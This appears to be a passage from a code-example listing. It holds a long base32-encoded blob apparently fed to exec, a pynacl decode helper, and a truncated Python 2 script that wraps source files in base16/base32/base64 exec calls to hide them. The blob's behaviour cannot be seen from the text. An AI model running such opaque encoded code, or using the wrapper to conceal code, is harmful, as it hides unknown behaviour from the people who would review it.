HAZ5VVJFKZVM4A4GWCRIN7FVXLHIVTHOAQUESQKF5YKLLFGNGZZMZYQD5G2EGO2CYYEHHJSRO4L5ABLA7WBGYO72C7ARATPA5N2E7JPYQZ4PMJ35YSMGMTK7B7C7XEPYYSFL2H4TKJRPBKGRDWECQXTKMJXJTJVXPUI3LBSWZXIMNR2JS52ATLB65JJVUBLB2WQDLP4WEGEVCU7CWWWCSPJK23AMQYKRGRSPO7GUELN7BJ4SLX2ADVGE46S5HWYMHV7SYXUTDLQALZ6TM77MWW6JS4BIBEKIHF6RJ7V7E3GHO2FCDOOL5X4HLTL4ERPMYSXOH2OMHKFO6ZZ6SYNXSFI5GAWTS33V7AW6TBM43FO5MXVSRHIJTDH4TLITP4XJR2552BMZYVUZINNXC6LTPCOII6K3N3NUIEJGH3EJZ2EDP7WNYX2JYS56DHUUKRY37I36JJWGQ4XTDAX6LODXZKYXGDUW3RW5WSPP7W6OP324YSFFQ2OVDVUEGZZBWESQN53JFKUBZJ37QOIY7VJJRV4P2WDL3IRC2UV62EIXXLMHXXKLJ7VX5AYF6TJV6TYK2PD73BELVWPFLTTKYFWNKOBCIXYFS4XEZWLIWRDKZU66ME53N2F3NKS5PB7XPFATE5VSXBCB5PHNVEQGFPYNL2ZZVABHQO25WACIZXMAAVU3USWMOY542YU42WEG4BXKREBWJLYAEOWY2BGPPCT4KITPASPPYBZSQSGAAUASQDFBSEWAQDYQBEYT6JAIC2VEDHILHLJ25NRCY4535Q7UPUTVRCOFTTYKK3VA26WSVWC7QBEOJOHILN233IRO5FOWFU6XJUITV5US2KKVEUDS4473HAYSTXQKZBDGAZQ7RXXSZ4DBU3XZ7J76MJRVLPHCED52RY4HN6ZNPVQNXWUGUXC6P7NILMINOU2IRI4GIKHFLRYROZJBRJ6G6QUBJ3IA73EOEVTSQICB4XAB4TVAWSI64IORQ4F4QKFPW44B4T4N7RKRLRM2WXL3PWOICTCHFIIOLC7DT6OFK2AZZXRA22PJUOVZ6UQFXILZDCUDF2MO7PER3M6NXBNZCCZYLU2HBVNSEN5F55236LM6RUBYGEFGLKFQC6KTTCTD34TNC2XBIYBPNR4VN2YEQX5AHCVS26BYNOHZFZVGHX5TYAFDIL26RZSDBJBS3DD5FQLTIQEAKLXILGK5CJURI5IVOIROCNVBBZSY4NY3ZWWWXK2MZCDRYSVSQNK6QMYNT4RDGMKSKK5ATVWIDFKYMM77XXEKI24ZBVM52UXRWWFPCRWP2OP67AG6AD5VI72F6MQKEEEAELQK2XWF2HBJAIUI235AX4CUTBYAJMMFLA2DPOTC3BWD26TUMDSRO3TAA6KX5RKLN45O7BX6FHLQN7TJTF5UYNPT34KNW6XZSKVVWOP7YOZFMZ5XHY6AZKMPNU7GKIWDAZ6VZVKVYERE7CIHW5LPXU5XOOT37I3Q7EXGT4C5CJW42AFB7CQX4RPRHECTNRYMAJ7SLYLW3ERCVZSMFQEIYON2WTPPQUVBKMNR2PGWF26JA2J3ZWPP4SE3BBHZHR6NPKEB2LCQXQLGPQSUGC67Y7STYQXGZPLALLJIXJZP3Y6SVHV57DXGZM7H4KH6URQUN6BIIE6ECP43MRDUFZG6JW4PBUL4TOVEGMPM3ACY5A3J2GRISN35QL5PI7XOQICMRERTEBE3SZ2O35FEMSTG3NVUYJDRNXDRRF6LJPG7K6X4ABD4L5HRIJI2MW6JM7GUUUCO6JO7AIT7XCK6KBGYMJKBBO4UTIFE7BQTOGLEFZFN4FYOZR6EQYEEKTWBJREXYL43TI6BJ4SFKEWIXWGYGUNHAYPM7PN3KGE4RJ2FER6MC3AWEGLUM6543IEIGPIYV36HKUCVAS6DVNIU5FGHPQVCEVPF76QHERPD4GU26E5MEDH2TVQXU2JICBFMLXD7YXPSR4ZOJUHYXYU6I6UECNKD2J7Q4O5RIC3G4ER3GKBCASOW5OOOHLOBNW2NQEUJF5LOWKZA7EBN56XSO2FIFGZRCRUHSOEYKSJL437BSW3A3AZWJBIDS5MDFVBTVQHNJYNIBR6IUEUKXGSSUMNFFIY2CKQWW74DM3MW2NDHCQYLGJJKOI5NMRTNGBCMQ3YXOGBVPPN2SBILO2SQXY7BDMB3ZBZMA6A6Q3HRGHNADNHO5QELTXYIQJTIBJUBBURS5AKBKTU7A2T6QKUS56QIXCOKTFN6T6VYFNWCGHXLBW46V3NAF64AU33C6VWYEIVH7IH6ALIAVVAO52BGDQ3YTI5YQ7LTLKKE3RA53BTMYGQ6G63FN3OIRIBU7Q3P2SL36ESZW2GL6NW2U5J6ZXTGIK7ABYDTUCNNSK5RX5QCXDTFGYD4SLVGKHRINV64FGGL73BHTDE73CLP4CILRSTH4YBFJYDEFL354JCIL7FLD4W3VFMWZJZSXNCY47ZISRZN4NSRXU74YRTBOLMWWSAFVHGRSW5XUANQLGZ72RZMJEPSBOK2FOF5FWGAZJT7247J2SBLTSFCZ72VTWLZRGC4ZPF562YA7CVZREE5GP2YC7INFC3UUL35FZGBX2OTFW4J2EKCTO7FITA5VOD6N7CLR3CL2ILOTCYG2X324HR7DKPT3NHVLTU4XF5GVEWPULR6OV5EVOP5U5USG52VSQIO7VPJOHYQEMJSJ7O3RPHFLH7BBSTCDBODCYQTU4FTKU567KEIF3LUR4USUCFI2QCUY6BG6ZI4AC2W43H2ESVWD45FWQ5KAULZW4OMZUKNPKFVQYTESXZKYURQMCQDS2Q6LZYX3DLI6ACYOFVZAFHMOHRFPINYAHAXHEAAI2FITHRYQWAVKYIOST5KFZF6BDTHASIGAVDJQOGLZGTFOIQXZK6FVMITLKFIUENQQZGPXKP6ERYBEFK3JLXCMVVMGYTYIL57GCZJQG5QSWIT6EVQ25IFOTRWSL563HEBEB2N5YCRACKQUUIV3DDQDGFK7IL2TRI36B5XSE27KTHBJXGBSRKVWUEVBYVGZKFGAPJIFSVVBVU2E753KAW2KCBJNXOHDJFSPVTLOUY7RR7G6ML5JJR4DGW2OB7EU2N3VB5RO3FXFBMG5UBQLWILOW5G3TPTDBXOYY5NXHON2X27E4ZVMP64M3UVD3F3ZVJVXFKQLRPVMFIV2FIOD26M6OY2XRBHGTMGCTY5H5SPAGDTWQYSAFDU2HTANCJQBI4G7A63UJZKYH3IH3AQJWEXR626FMNFFKY2KKDQBI4OZ5DYNXSPZSQXP4C6B6GD7U5QPYXM46GBSVG5R7JXQMYCDM5ALRQ5WO6BICM2FCOZ3X4LCB4AAAAJYMIIELAOA2PYGJLYLOA2IUSXXOIYANABDRD2TNOXKNWJIBY3FU3VVNSKGCNXQLKH3KVUCMOCPYNIWIZW6CQCXI4G7K7OQ5ASR5Z6JGAMOS4K7DEV7ROAOGZPFPH5H6RV6AJQQK3XPEMKFFWG5F3AACB3IIOWQYXYUZQGAIHEHWYNXB7DATFIR7KYQLZW5FES2D2H43WVUNVQOUMJIPJLUDUOZVWAKFQRJ6HQLRJYCP7M36IHRSGCED4NQAL5HICFKEGUBJ5DY6FHE7M2AHHYRUKBFN7OT4ATRKEEGUIPQMKOHQHOE4F5ECDFO5IQQAVATN6AKWRWFJ5H2JUGYR4BZF6LQIVEKNWDC7VRWZ43IMCNSMVS5ON4WYI2P6ZQNRJUNMENVZOTXWBGWOJOYAZYESQDCTMEPCNTFQ7JZJKDIJJKDJJIWWFGS2AAWWAROMMADWEFIKOQUBQAMNKDTMGGHUABMCTZXRMGNTZRNQZVPYQ3HLCDN2RBGZUZAFJC6YQFBBZQJWRVMW6QRJNWZK6AG32SAUXA3BTITODLUC4IJDRJ6EYE3XKFLBDLYAWEGB5CDP3MKNJYCNRZXRO5RZX36FVRGAZ24V3DPVIAOTOGRKYM2JY3KJBSR4HNXXRH4U2XFHDUUENUX3EXJJ5CYTP2MQANH2NNQCTXZOPSPWCZWEETMEHT5WYMGZKQAGEQ654UHJUARV673R4OGZAXVFG4UZ7VDR7XDUEDQVQNL5KVYXYLU2IUJGBQUIBZIZMYW4EWJWAIGXW37YW3EK6D6WYZGDV6LWYABNQ6D2JQHTKABS6FJQ6JELONWPTVZTAQSIO64JTLCS2233MAXX7RHN43SXMB2QTTZEOS3D4BII6PJDKT6KM7MWYIWEVJUQPSSI2EKCRQ7EKD4ASZO325QBORRKAAS4CCTDXGMDYIIQC6OHFVQPOBR3OCROO6QPSZJNIMWABCFCNHQGQ6NT2KCFUI4EK3FE2MFCRBNKGWDPYVKW5LKBFR3MMGLK5AB3CBFMXAMAAPNYBONARCRRIUWDUENRUC4OG4USORZXQMKBGPJX4MTS5AUVSQQG2LWNSM33WYFJTQAINJILCK4BRHTTIIJR3GZHZQOF24PTGJ4FDDGF4K5FTQHOXY4PICQYXDIJASDIM6QKHG2246NEZL67D64QYJXYVNR6WLGTL7TU652D4FDH7ILF7HWZXYOYYESYAYXIHIKUJP6K6JBOOWMCR46MX4TJXY4OIEN3VIU36HBUAS7SI3TCTMSQOJDLMYGSUGAOVKAZT7KRKK6DBYRZIHQW6FB45GC5WBO62UJ5SKFQMDAREGX4SO45VN4FW2NF6QRSHYYCLOI6A4K4M2XV47WYH2UXR4B7Y5RGO2H64KDIMBVUS7FO3Q5PUUW5VXQSNXIM5C6MLIDUAYCXYNJGISQY62KPA3J3JHD5VXMD4JS7FDXZ4R3WX5RVUFZOKH4VXCXGTFVE5JDMHMANS32VRGNMMLPKYIN6MWS7KXFZZTR355HSZS7HO4MCTOZYFW752BO7ALONUTW7GJ3WXVGH4XQAGJ2QISKD7GJLXCWZYP6GOU5AFXOK56W3YN64BVQX55KV4W5YS56WZYLVLZN3SKOXWFOT6IYO6JRNM5ONBPLL7E4HPEYGVOS3RX6CHQVJRWPTIHFRQRWD3YWKQ4QQMAE33FCSLOTKK74KQ3DZOZLBPPSPXRO2IXYJX4KC67QFH4O6PILSZMTGNB36CJUIVQBHHJZRVGLCGM3O4OBQLONY7SBZGUSVHTIBMVEBGPJ6OM6Q72XZ2ORM4667QDZSCHR5RZZ4JVJCP6HCFJ73MVZMKKE2PXEERH56NNMYNSZED6L4QZ6TVNSQWH4RVAXWUS43ELSRISB7FOJU4272TD23XWTXKIIPMIBSTVHC2Z6WZO2SNH5IUJQUHU3MQGIYFKBNP7M6KSLZBJ67MUHZER5TMQOLBME7QXSWJPEX7SSFZDH4EB5IAUSOD72ZC3QZ4BK25R57OKIWUF7BS2NT5PMV2FTBPYBWTMPL3BGH2V4GZ57BA5AXV5TSP4KYHU77UHOQMC4Z4MFS36EM7PZKTGEQ6WOH6IC5C2VR4XLG6UYJSK75HSKMCB3SLHMXF46HWDRJHW5LV664HESPK2JVGVZHKBSIHY7LU6H34JU2J7HYND5PIJHSACKDWT2OLWEL5QIYIBMDHAU5BLHWTGQY42QRRZQJONZIO43KFOLFSOCNEHXGMYE3GDXPKDXEV2VCBFAUXXNU3QD75NODRWCDD3V4QDTRVUIUXCT6BJGXGGE4GNFB4IL5RBIJZZXJOPHLSXOOS4MRZFEZ3SVLFF2GSVLQF2DDK7JLHXL5HU3I6ZU3QI3XSWVDXBSDRQRNUVQX3MMENYHCOXD42WFZW4W2RDF63IGYWZOOPX54AWKUE577EOMZCVHKOUENWQN2YW64KM7UCF2XFBWRRK6SFTYY5PCQB7AMV2CO4JJ6ZDZJZCR4OXTFJR4KU3MN5VI7NZ6T3WTELHBCQTC5NZKAQ57NRLK2CBGD2D5XAKNJAZOBYHOPLIDHXEEUDZ3M6BFNYC26KAZD2OPBJ46TFF5TYYXZF7HUS5YKINOT4MU7GSIJVIITBP3YZKFJAMBOM6Z4UD26LB23PFOOPMPS46VVXHKSZDJV3BTX2XU7U4HWKN3G3F2BSRMNKUIJ34AUSBUHKIRKPHGQEHMKOCMFRWRW4APSYSHEJKQWNWHPUYBRXB4GXER3NNHS7YEOW3CLZFJM7IZ4J7FVRN7ABFPO5CRQ3EE5YOYZ4HTY32DKVFLO4UAL55Y54XRMBLL547HCHC2Y3VYXJGVX3CKJO24LQLBKHGYGPZYFSVGN4AFQ5CZKCX64CYKQFVBDA4CZKR3FABA4K4S7APQAHGWBHDL6WA6DW3NEZ67QGH2DURDXIPWHQ7NYKDPCXMKSD6HOK2C7TP2GCA5YBPEKKACKRCWQA52CWQQ24CA4CJQUJ5DQLANE6PAEDAPQE56NJT4R5AXB6GP4PDHCPCSUWSGPXD5BX2JD72FOAXVQETRSNBPOMGMWGVQQX7TPNRQY2V6FLTEDKOYKXMJGINVQPMNDRSTMOPVQVCX2YKRL4KZ5HGGTSWTGAZTRYZKXGE7ZR3I4MTRSEKAZZ3BP4OS4ZDO2REJJWMKP3H4CX3ZC6CY43M6H3RCEZINTCF2TS7NMAUANB6NIKZ7NMFECRSV4VTGMTK7UXWYIMD3X3E2XUUJH55XZOCTFWNQ2Q4P4XPSSNEZJWN5HU6KPDB52UCX665KJWA4Z3YP4MV3K5BP5YHPODN4ON4DS7QA5CKIHFOL4F4F6LC5DI4MOD6ST4D4HTNFIDYY5TJS4ZFCY7MAD4ZXQHBFAIPIHKVWAKEMZ7EI4BBCTEH27BQQQHC3TYRXA6YUQIJNROEXHZX25IPXS6F4FAJ2D6RZYCVROKGZWP347UITR5USGMEWC7LMI64N2BPYDUG2BJ2RXF2ZVMUQ74BHVN7FHJ4ZYHA4EMLWJXVSARUQ64JDL3TD3DAT7NDGC26MNRRIBNFPUC5KABK5IBJ5E7ULGC5RTXA3LUG4YAHWCBLQXQY7GBMMCEZU3CM6QALWAKDCJ3M5NCG5ERKJPMKFUCZSP2AJ2WSBZF5DKJPLUJNLAPLJIX6UDE4XVTZZHR63LVSL2A6H7PLVC6NQQ74CJE3EPXX7NEHVGHREPIDPLDZOGPHU6TEUGIT2EGOVKU6GVKFA464KLCZZJUBY7CP5A7JWTWCOLEIH4QO7AZJ5PWZMFQ7A3YW6UC7L4X67HLF72YUW47VSFFOQKI5WOV44J5U5KBHHI3UNB23ZOJGGJCBHC5ZMFSI3TKFPT5NKFRSDPBIQLMMSMT2PPPYTIFYD6R5YBOQIKQVS3NDOHHYCWJ52MKGZMWCLODXNDTZYS3NXD6YY3OUJ5WJ66CQYP4IGE66SQ7MJMIFSAC34H2GEILRPKRXMIQVVFMBG3YIH5HSRSOB5OJKR44TXPNTSULPONVCXEXVKWEXVKUBTAZV6FMKONO45CP2WVXGVIEUTAI7KGUOHJY7ORYLMPTAQRF5BX6TFQRW2ZOZZKGXXOEPVHVENJ52KUKXDFIW6RVCD2TMJXKUFNX4H5LQA5KGAIPKD27LVB7ESDRHK7OFQ3SJWXKKNQFVCZ2IPBO2I2QPUWB7PXJ2FBBD7NUB3HSXTQOCJ4CFXQ4C7KSRGQPGCQIUYKGPDQIAZCLJRIOXYP7AEOCHQWKR7RIFPGKUJ3RWOAI3YUV6ERXFISAV63QE4MXTOKT6MWASR4CRD655CRRUTSDAKIRAZUFPBXBPRDDX32EZTBZKULWKK2MDGCZA2F53RMRTFKDRTVOLIVE22Z2QMB3W2T6M4LGDOTUZIM5XGIKMFSZZTQYC2NB5MLUY6EYSRVROSDUNOGBM7WU3EKH24AG76QMAPYDII7AU56AUNBYV2LCJB7VTIOAKFIRURCUK2SSWA7IY3EIXEFXFLIVT4E6CCTYFH5C6FQERKQDECXWCJIK667FJ4SAR6ZMLQLC7G3ACTTADZ2WIHDWRUZQNOF7UPUGAN7RQCYBWJ3MQ5WGI3AFMHR6TH3HX6T6I2HA7OQIFZEIM3KFF3FGNDUW77VJERW6P4VDYSK3HJWDQTH57IDFCX2BOECBIOLBUKOXMYDJUZXIGMIVUBX6WNFPRRLCMS2ZROPTBRZP4XEBARNDHCTZQ2O6BNS5TZVEZWEWYDRAL3VIIRA3TQ2JEPDP4SQVECRRWLVVOZXT72GSLWKKXB7XLVEC6NJQMMEUT3CZL2LFH26FNQV53N75YBUS52PLIYOUXEU6ULSJWVLEDNETD5PVZTAY3NB4PLZIEDXKTD5ICDTRWFZKKJNRG7IQ5MCHHLYCGWNZMYJGDJLMYYNWDDPTE42GN5SNE62PGBMNSX4LB35NF2QPDP4MGQ5L3UQWW5QZHHH2XTFB3AI2JS6MYR6VNK7CHKS6XFADJOQGD2OBS5NY4SIZ5YYOJ67HXBW4YIKKGTQPPCSDDYBUFHA6CD4PMIL3YRV4HQTBNDZAQT63XHZC7AQIUJIGPT5DWQTKW7THJFV3WWLH5YBSB6PE5YWFB55I4H6B7XO5AHXGN4KBBK6T5JWLO4A3KB6AGB3WBKFYFOQQDJ4XHF7I7CHY745NLPVDF27VKIH53ZJJE7LMTILG6CYKKTU6OLDJ3XFBSF4EM5XDHLA6DGCUW7XKG3IDRJTCVQ2U3J4H5UJFCTAFIXQEAIRIV2EFJZV7VWPNQ7SRIRJXPJBMPS6ITML37C3UKGIYYMKWG64ZUL4MHFCA4MQNRSW2J3EFGFOMHIQ6JYVLUQ4QOUDAAQJXHJ3BRLQMBG5YLZKZ3EFRVBMYWNIKVNKSOT7URFBLITSJVBLKUZO7RED4TMM4FNX3IJZCZFS2INWS42SVEVTNFMLX25FKSQQKYMOZHMFORNRBLK2G5RRKZ2GOERBDQADQQBLRWJZPH5WQ4PICT4ILQIMSKARRAFXIX4IAFEUXWYWKRFAFJU6HZRP3X4DIOKIMBOIEPBZ6FBUDON7BHX4OENTGVBYHGXZW5F3MTQMJLFHZHZBTFUNUHZTKLY7OP5Y3JYJ2P2LJIMPT3HV7HS2GZ34H7PAMO6O2YKJ2GDVBGKRLERLEPPXNOZ7MQUFAM6YEJ5UTPXFM3XBCQZGGNDEKY33A7YXL7UOMWQXJUTFIEWEIBWQUGAYASK4TS5JLU4MGWDH5XUQGUC2CTUVUQG3DSRNB553ZEBNWHG6F4V7GWQAU54G22KTJSTDH7TIGEWFIRUAWKTYSKQJKP74ZSZT4QY7KCZS3NSFK36PO7DDOJ2LZ3IGGHXPOH7XISGZPSBVSWPEUHDIKM32PMQVZRZ6HA4R6R3GP352BBWNUMGU4U55PB3BVXBGJ4Z2LLA26ZGTWFRVFPMQ2OZZXXME6QATMWMRAOGLCZQTTKMSWZMRITETX6FKDNHR2KVQZAV3JRX3FKUNCH7LKXPU2VZO7BXLXU35G5OUZ6DOXI56POXJNOPO7JZLD2VCUGNMQ5TVLZNWSUFEZJTLETGHUR2ZJJMHTBDT7VX4KG43Q6UTTKVN2BUQXKKA6NTWR2Y3OLIQUE6JWQUAVYWS66JZALL4URIH4NJDL5UZSXCQYKNCVZJHMHQXMXH5AJDFP3EMP2HTAZYTCHUKLAM43SIXVP2ZJNYR3HHIZBUW2DBEEDLFBAVYGGP6NC25I33F6YKH37QVFQDXN7W7KOZEN4UAQEV6ZNTUJIPDDWTF7HRCAXFXODWY5OOKCGWJRS6V7KCKUQF3IQK5S5ZOZ27V6WBKLV3GB4IH6TOE5F2RTGOHP6IYJHDMV7ZRFMOAASTP2BMRS43GZFQ5WLHA6KK55AKFQ5SYRPKKCJNMIX6MYGQXXP2CV7GTJ7JXNKCG4X7MEY7WFIUFLYKYSAQFRRAENAAL35F34OFRWCLP74LLP7XZKBYN2QB6WNL5MRXBDWAVPCU7C5NSNFLKAD4J7BPFDU5VGXEWA4UBA3UBYJ2M42AP2IGMPBCV3VKW4NVMKVL4BVO6PK4VZSXKM4JEDBF3LVQSPFKLR36XDXMB2Z2HSTY66PGA5XW5PH4DC5HNY7F27RQ3FG7YCH64A47FJ4CQOUEFDZPBC4QRAGISSEZIA7AVY3NDBX4HLT7PGHRJ2AVQS4EFMEBVKRQ3VHDIN6BBY4DDAP4J6AQY2DTAPUE6EQYYD3DPQMOHQYYD7DHRX6CSURIKB4LCQPCUUVYXNJ5LIX4DJ6MI3VLYW23YZKPNNOMSIXCHIRK5K254UCELLVARAEYTGEQRAEYXGFQRDA2HXGZQHTBBVXBNUKYNNIY2ZQYCUIMNMYUIN4NCAJ4FGAQYZKGCWBLRIFIUR3YQLZQNHQJAEERIULATXEBRRUQ2UN4HMA6YMDMYEWDWAPMGBS6ZDBP6RW2XGWHZL4RVSGYFK2CPUDVTINUUQ7AJV2VPC6DJG4ZDMUKGMYXZVUEMBJZ556CWCEGKT3ZUMDXSPEH2OIE26ILWSPERZRO4JTP53HBBZTOY3OM2IXXI5BXADNZTNCW4VBCNY2HW4Z7Y5ZLOYHOC2I7WN2COAG3SW2E5ZNMZXPCZX6VU2DGIM4GWEVENCLVAV7QF56TP5F2TV6627EZU2PBWDQ4S3KK2PYM72ORJNU6SOPVBGQOVDN4HICPXEZDVB3VTU3RGCMK6ZKAVPCU6CSY6LQWOTG5NVHUAJDNVTHENPHERJCXROVPSCSZ32KJNVFITSPNCUUC2WOVALPAI2HF7QCDYUZV4N2SRPNJEK5H77NBFJR5MMSLIFMNMJLCPNN74UBKNPSGKMXJUCKPWNHPUQYXJCUSLVGL3KJJSVKP6IKROY7NQS5DCOLZ4XFAWL3MHBC6BGUSBE6NJRDTAAHPXDHVODZFSLMRK3PZGTWO2GP6SZZPLVJ3KZKNHVY3PVAIL3J6NNNMVOUQHFPUFQ75GZAF7VRXSSXXWJZGYZH5J45OKDSYA6WCQBHS4IDSH4H6HRANNST7D244BVEJLD2AIDJW7XZ5PJ5MPZ7XB3D36K2XVQFK6C6BCPBF2NCRDWMKABXNBWYCUYDOFS44K2Q457SFQGZZSLQQKVZGR7XRBUEP4BEC74AADOUB3SFUSFDOU24IRYIS2PNQDVOG7MKQYEYYE3M3DBSAGZLBP4OHJDQVECE4M7EFMAEMKQQUMB7J7ICGB5BVL6GB5ZBKRYEML2JN3TGKIDU7IVI63T7OUM6OM3PSGZC4MVPICBZG7UK7JDGQ5L5MUUYVESIYEMXAT64ZO7HUIUVSMFYMLKEQIX2KTSG4GKXB64AZJKDFAAQIREDKCUCM6E63H3LDBX5BG3CQFVT5A5OC3BIDMQEKBNK6Q5533YFQHVXOAMAJTPH5FXQY6EJRAMK5XZI2E367OPR4GT5B4CQYXDO2RENZNODC2TRAEOYN332REETLA3KKWVQPZSEEAU4CBG455L2SSZIDLUXHFI2IXWCZLVZK3Q757KMGINBUA4DIM5DVP73LODW6RSWQKGMACNTRHEETUCYTZQ4KBJYL7JS3O4473SEJTQHLG2FXGDQO34U6HAS6BNF474DO45DPUM563CD3GLMKPZAKGWJATPT7QGN7DPRGBYSNJD6ILHQ7AVOXWYGPR7CXIDAUNNSTKO45FWWLDYTFULDSORITA7R3RFUOF6NXODJRTJZP6U7464EHOUPAP54PHQMCQKDJHKFKF4UMS6KBV2C62SNTWBFNYXPKQPSOJKPD53UQXDM64AUSYWEACQH3AEITXRCWREJKT3IDUJ3YHE6R2W7DT57SCGBG4OSH6BGB55FXMWX2KAXTJQUMBE7IXHBQIE5RD7YO4H5CXXJUSDY7ER4WRW3FOGJDNFNNUER3LLFVQMORMFUBZRA5WT7XCDT5FZSKKZZIOVMAKVT23WLZKCSGLKCX7YNM44XLSUSWY5KV7XKKHNSYTTOIMJN5DG3ENMQKNQAK7OCNWDSI3JVO46AH3ASPPDS44P2Y4HBJ4UORSFWX2Z7V72E7NPOMX3KM56WARPLTQCWGK4FZHUBMX3N2LBXI7SXF6ZNLNXEOBPZMALADYTY6TQW2BUNQDGVZGFTQONY2WJN7QU7EQ5YBPYU44LHG6EOXC2WBNXECQW5IK5VOMGB6FWUYODPO44TPZSSO674ERZOOYLVSCDAP5P4JRP4O2MEU7GEVGGZU5UHMOPATIZUKO5C62PQZXZISZVJAWDUNS53WHRR7YPRDWCI6MSESSHDM2GDPWBV2PTFRDQX76YMCIMJHYVB2JHFGTSOUWXD2JEP34UXBZDO5IHLRT3M7FO4X5MCX3OVSR3TPIDRZINCYAOTRKIWWVXSZQTEBLWMMPTAPE3EMFATVW6C3L4E4WLLCLZIGNU4A7PY73N36BRW3AHGTJR7UX6F5TMQ3W6N6POF5UHOUOBZOSWF6HMJE5XUJQ5ELVUI24HDSCQA37J5RAOAWTJIJVS4TBSINFXASCNLXEOVTYKKGMCSFFTSM7UWYT4BLV6Z6L65OX5WS5O3FM2FAGFGWQD67YDWZU2VZ3USRGZ6YCWFXDWOKIPJRZNYKCUWQJPQTQ64NXODDZNMWCZTOG27AENATZBXC3MBZIDLACWXIBWL3HDJ7ATAQDFROLCFAASZR5RZLT4O7RCYMJX4NWFGRQGYAHN6IZRLTQ7P3CBOBWKDBHJ7J65YJPYRWY7PVKWNLREU5UACNMTNZUEKCAXV6HUXDTSO42GOM4MOHVLGWCKLIC27AXCCITFRHTM7U7HL5N5PZOHY5PZLNBNXYIWCVPJFN3DTAFM36J35SQARGNG5D7DCIU4R2KLA55LINSSFDBTMUF6J4XQUORH5UPSAB523Y2RJDXTCBTTDUZOUDBGDV6B2ISAQ3D3ZQBAPU5VZUWZ54V2RNY5QLZHHFQDCZMP6DUWEJPM4EZHINYBMFQPAZZKIXBQE7HTDK3CZSBO4Z7JP4BYGUECEYSISITODWIHRYY366XUQOWM7OVWC7LPQ7EKYFBXW3JH5GEAIGG3HPJQ5SKADD67YFIBQGOWLHDSKMY4KSXPMGMGLQAP6LEHCDPP7AEVEODHZGDS4EKBLQ4ODE3FEEBCMZQ66JHWHZWYTEZY77FS2Z56NRHT3GIIRCGP3UOSYWU7MUB3QF2LLLNJZQSKQ2XW6G6YG7RGL7PGOWVS2QJW6SBR656COKJ6P5YJ3EFCJUN3B3HY3X43HQ7DQHZ35RSEC3252ETMN6XHNDIJO67YHRXHQ6GCYDEPNNRXH4XYT7PUJPGKOWKOIOLD2H4PTBDIUXWNUZWM2VXFRVG4YDYOFG5NR33QYLGQMJSM5IURU6QI55ONZUHR7HI727TMMRXGAX357ODXSAX5XAKL32BHU6U6MSOBSHY3DQORUGQ6HA6DMPRUHR4GZ6PATWOZGXM5AURH5YMRG7GDSMDP3BKXXDIHF45GUZLHOVRUDSBHNZVAHPTDD2K4UJASH7BSEWXTGWQWSFZOPE726GASGV5GE3UXZPA3GWXAZ4WLAWCMS6XZOJNG4QSIZ3HOP2AAVLP5FAITC2E2JTBZ7RXZ723F4KSO6SAFHX42ZASIYFBXIHDKY5QUHDM3K2F7MFJYFMXZ5JUSXC6RS5SIBTYF2TU256YRFN2V72JPCKQOYJQR3CQQZNDGNE5ZLOAQ5N5SMAUQHZTA33KWC26E7Y5S2JJRF4AJMNKUSQDOJFNDZNJGYZUBUTDYPOAC5GNKIZYKA65FJRHBGFIWY7GTBK6IAA5UAKEMCZ6C4DGSEIOX2U3QCKTEBWANO76HYREK6MNVSRFGYRG54N2QQIUCLTVTRLUDUECUCGVM5TJHGUZTOO4IUIQ56I43OPZ6U4SHWRWGAYLA26NFXIO5A6ODJHVQVSM4TMHD2MBM5TRIHMLZPU7QFALQJLOT3KIE4UJEN2UZJEONNPYDRUDFNIX6H3AYSZRPNHC5Q7WJ7MLK6JUMNSLL77DPTDANVM72MUTZGZX6STFJDKUV6MSTMT6PGUG7IDONBUHLJH63FUJ667DFDK5KD5K22ZYOZNH7KDPWBUG7JDIPB6U42MSPJU63YHY55NNZEYK4EY5CH52XU6XM6NUQI4P7J6G4Q4AYZGPZN7FAVLCCQE2HXACOTNISMYOM3KRZET6S5TMM6ZGSYBKM5V3CLUTJYTXDWTF7S6YL67YXSKM3JFTG6Z3EPBJ46AQ24SO5SC6QMWXMBXAA7BYBTRAPRL2Z4NIRNNG3PYFQWMHZTUAQ7UUWQZDZ6WCN5RM6ZUWGRFBLDGYNQNT26ZC7M7Q7ESZ4WK47DAEHJGOZFPSLF4L3WMNRPL26X4LWMTNOWDHNGJ6BPDIXPH34TE5SZYFZB6BWUGFJT647QI7YMIE32CQCTW27ALQLXUF4DNBBPIHYBNBA7AHQPHEEAGPC3MIZ7QDAU7Q3QB6QPQEX6BYYEC65A5AD6BCACM6CJ3X653SBEFQAEI3YBSB3AC2DWLHMGN5ADDP62OZC5HEDADPPYOYFDSB6D3CB6BJAQ7Q3QGGEEATNXDZTRN7ZYQQPQBYGVRBPAEYHHUB4DFBD7DCBF7APA46QXQOMINZB7A44QQAP325TOJFNZBACRU4PDHCRH43QVDIHMCNDDG3RTACALY5VCYPFWMOEIPU7QDD47OQUICG7ZOEDRR3RYICFWWRRBIAQJC3JFOCYQMVKIVBJSBJDDCQDU6RDZHKMOJM6IVTTGOGKCIHZHHABY5GDIPRKARYTZH2N5C4YM4ISZUU6E3V5JOAFSEAVJZH7DNKQNEGUJ4TYSKN3CS5KBJC4FEHIJI2NCXQUROCKTFCN7UHEN5SHHMR4KII7SERZCQ4RMGIR3EL5SCR4SU4RCOIGP2O46HFGR6HMOWTI6PP4Y3EO3SGDJBA2MN7R3GILGSILRVUIYTSHZ7J3ZJ7J2EPJB5WIT5ETLD65CA4R46RA6BT2NBO75WRGTW7JWCFUQXDGSE7KXKHLVFAZOGVQ4P67Z4TBKIK==="))))
コード例 #42
0
ファイル: encoding.py プロジェクト: jwobith/pynacl
 def decode(data):
     return base64.b32decode(data)
コード例 #43
0
def menu():
    logo()
    print '\n01) Encrypt Base16\n02) Encrypt Base32\n03) Encrypt Base64\n04) Encrypt Hex\n05) Encrypt Marshal\n06) Decrypt base16\n07) Decrypt base32\n08) Decrypt base64\n09) Decrypt Hex\n00) Exit'
    try:
        inp = raw_input('Choose: ')
    except:
        exit()

    if inp == '1' or inp == '01':
        clr()
        logo()
        try:
            f = raw_input('Filenames: ')
        except:
            exit()
        else:
            try:
                bk = open(f, 'r').read()
            except:
                run('file %s tidak ditemukan ' % f)
                exit()

        en = base64.b16encode(bk)
        ff = f + 'c'
        open(ff, 'w').write('import base64\nexec(base64.b16decode("%s"))' % en)
        nm = ('').join(f.split('.')[:1]) + '-enc.py'
        os.rename(ff, nm)
        run('file berhasil di encrypt menjadi %s ' % nm)
    else:
        if inp == '2' or inp == '02':
            clr()
            logo()
            try:
                f = raw_input('Filenames: ')
            except:
                exit()
            else:
                try:
                    bk = open(f, 'r').read()
                except:
                    run('file %s tidak ditemukan ' % f)
                    exit()

